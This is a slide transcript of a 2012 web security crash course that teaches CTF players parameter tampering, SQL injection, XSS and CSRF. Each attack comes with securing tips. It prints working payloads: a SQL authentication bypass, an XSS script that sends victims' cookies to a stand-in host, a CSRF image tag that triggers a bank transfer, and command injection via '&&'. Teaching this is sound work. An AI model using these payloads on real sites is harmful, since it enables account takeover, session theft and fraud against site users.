Presentation
Download
Report
Transcript Presentation
TEXSAW 2012
WEB SECURITY
CRASH COURSE
TexSAW 2012
Scott Hand
Introduction
Recommended Tools
Web browser – Firefox is recommended because of
TamperData, Live HTTP Headers, etc.
Knowing Python helps
Very little else is needed, Backtrack Linux is useful
for many automated tools
What We’re Targeting
Web Applications
Web
Pages (HTML, PHP, etc.)
Databases
Goal
Steal
data
Gain access to system
Bypass authentication blocks
Background
Web Servers
Web applications are really just an interface for
accessing a web server
Example Web Servers:
Apache
IIS
Nginx
Self-contained
servers for one application – Ruby on
Rails, Django, Sinatra, node.js, etc.
Some servers like Apache resemble navigating a
file system, others use RESTful routing
HTTP
HTTP is the means of communication
It is stateless
We
get around this by using sessions
Sessions are stored in browser cookies
Side effect – If we steal someone’s cookies, the web
server will think we are the same user
HTTP Requests
Web traffic involves a Request and a Response
GET and POST are two main request methods
GET is for an action intended to ask the server for
information
POST is for an action intended to tell the server to
do something
Examples: GET used for showing your profile on a
web site, POST used to update your profile
information
HTTP Request Parameters
Along with the URL and request method, HTTP
requests can also carry parameters
GET parameters
Visible
from the url:
http://www.url.com/page.php?arg1=a&arg2=b
Can be embedded easily in links
POST parameters are not visible from the URL and
not easily embedded in links, however they can
easily be altered
Example Scenario
Example Exchange for a Bank Site
Viewing Homepage
User
Web Server
GET
INDEX
GET: index.php
Database
Example Exchange for a Bank Site
Logging In
User
Web Server
Database
Auth
POST
OK
Redirect
to account
SET UP SESSION
POST: login.php
Parameters: username, password
Example Exchange for a Bank Site
Transferring Some Money
User
Web Server
Database
Make changes
POST
OK
Redirect
to account
POST: transfer.php
Parameters: to, amount
Parameter Tampering
Tools
TamperData – Extension for Firefox
Can
intercept and modify requests
Pretty powerful but can be tedious to use repeatedly
Live HTTP Headers – Extension for Firefox
Good
for monitoring and replaying requests
Fast and good as long as replaying traffic works
Burp Suite
Separate
program, works through proxy – browser
agnostic
Can do just about everything
Example Attack
User
Web Server
Database
Make changes
POST
OK
Redirect
to account
POST: transfer.php
Parameters: to, amount
Parameter Tampering
Example of real-life attack – PayPal was used by
vendors to handle transactions. They trust PayPal
and PayPal trusts them.
They
trust that once they send the transaction to PayPal,
it will be resolved and they can send the product when
the transaction is complete
PayPal trusts that the information sent to them by the
vendor, through the users’ browser (!!!), is correct
If we change the amount we pay to something small,
neither party knows and we get the product for nothing
DEMO
Tips for Securing
Don’t trust requests by themselves!
Many frameworks will sign requests that they send
to prevent tampering
Thinking that users can’t alter POST data because
they can’t see it in their address bar is just weak
security through obscurity
SQL Injections
Overview
SQL injection is part of a class of attacks in which
we abuse poor programming to embed usercontrolled data in trusted code run by the server
Vulnerable code consists of SQL queries being built
using string concatenation or interpolation with user
tainted variables:
$query = “SELECT * from users ”
. “WHERE username = ‘” . $username
. “’ AND password = ‘” . $password . “’”;
Example Attack
User
Web Server
Database
Auth
POST
OK
Redirect
to account
POST: login.php
Lets look at the SQL and the attack...
Behind the Scenes for login.php
$query = “SELECT * from users ”
. “WHERE username = ‘” . $username
. “’ AND password = ‘” . $password . “’”;
Examine the result to see if the user is selected.
Sample normal query after input:
SELECT * from users WHERE name=‘user’ AND password=‘password’
Sample attack password: ’ OR ‘1’=‘1
Resulting query:
SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’
Always returns true, bypasses authentication
Other Types of Attacks
Can add INSERTS, UPDATES, etc. if multiple queries
are supported
Blind SQL Injection
Needed
when the results of a query are not displayed
or even acknowledged
Use side channel attacks – sleep for a certain amount
of time if the first character of password is ‘a’, repeat
for each letter until a match is found then repeat for
each character in password
sqlmap works wonders to help automate this
DEMO
Tips for Securing
USE PREPARED STATEMENTS
Don’t plug user input into queries
Don’t escape user tainted queries
SERIOUSLY
USE PREPARED STATEMENTS
THEY’RE NOT EVEN HARD TO USE
Cross Site Scripting (XSS)
Overview
Basic idea is to exploit the trust that your browser
places in the website it’s viewing
Embed malicious code in the webpage and your
browser will execute it
Two Types:
Reflected
– Client-side. In request parameters or URL.
Requires that a user click the malicious link or form.
Stored – Server-side. Embedded in a web page and
hits every visitor that views the page.
Some Goals
Steal cookies
Since
JavaScript can access cookies, you can send the
victim’s cookies to yourself:
<script>$.get(‘www.badurl.com/?cookie=’ + document.cookie);<script>
Mimic real user behavior
Fill
out and submit forms
Open IFRAMEs to maintain access
Redirect to other pages
Example Exchange for a Bank Site
Viewing Homepage
User
Web Server
Database
GET
INDEX
Session
GET: index.php
Bad Guy
DEMO
Tips for Securing
Developers
Never,
ever allow unauthorized users the ability to
embed HTML into your page.
Escape every single bit of user input you get, it’s all
dangerous
Users
Use
NoScript or similar plugin
Don’t click a link with a bunch of JavaScript in the URL
Cross Site Request Forgery (CSRF)
Overview
Exploit the trust that the web server places in the
victim’s browser
It’s difficult for a site to distinguish between
legitimate requests and requests that an attacker
caused
Not the same as XSS (which exploits browser’s trust
in site), but plays very well with XSS – CSRF is often
made more deadly by XSS
Example Exchange for a Bank Site
Transferring Some Money
User
Bad Guy
Database
Web Server
Make changes
OK
Redirect
to account
POST: transfer.php
Parameters: to=BAD GUY, 1000000
Ways to Trigger
An image:
<img src=“http://www.bank.com/transfer?to=1337&amount=1000000” />
XSS:
$.get(‘./profile.php’, function(data) { // evil });
DEMO
Tips for Securing
Only trust requests from your site
Use CSRF-protection tokens – one time tokens for
forms – included in most web frameworks
Don’t make things like bank transfers or log outs a
GET request, that just makes life easier for attackers
Not much you can do as a user
General Tips
Look at Requests!
Use TamperData, firebug, Chrome Developer Tools,
Live HTTP Headers, etc.
Look closely at things that you can tamper to
change the behavior of the application – sometimes
the developer trusted that data and nothing will
stop you
Inject Everything
If you think it’s using your data in SQL, try some
SQL injection
If you think it’s using embedding your data in a
program call (`ping $address`) then inject via things
like &&
If you think it’s running HTML, throw in some
JavaScript
Situational Awareness
Pay close attention to what kind of web server
you’re dealing with
Some web servers or web frameworks are more
susceptible than others to certain attacks
For example, many web frameworks are good at
preventing HTML injection, but tend to trust HTTP
requests too much
Keep an eye out for home brewed stuff – whether it
be crypto, injection escaping, web servers, etc. – it’s
probably not as well vetted against malicious input
JavaScript – It does a lot
If you have jQuery on your website, use it!
You
can issue requests and parse the results with $.get()
and $.post(). These are so helpful for enhancing XSS
attacks (example: do a GET to a user’s profile page,
pull their info from the form, POST it to your page)
It gives you tools for shorter JavaScript payloads,
especially handy when space is critical
Pretty much anything on the user’s end can be
scripted and altered
Any questions?
That’s all, CTF Time!
Presented by Scott Hand (utdallas.edu/~shand)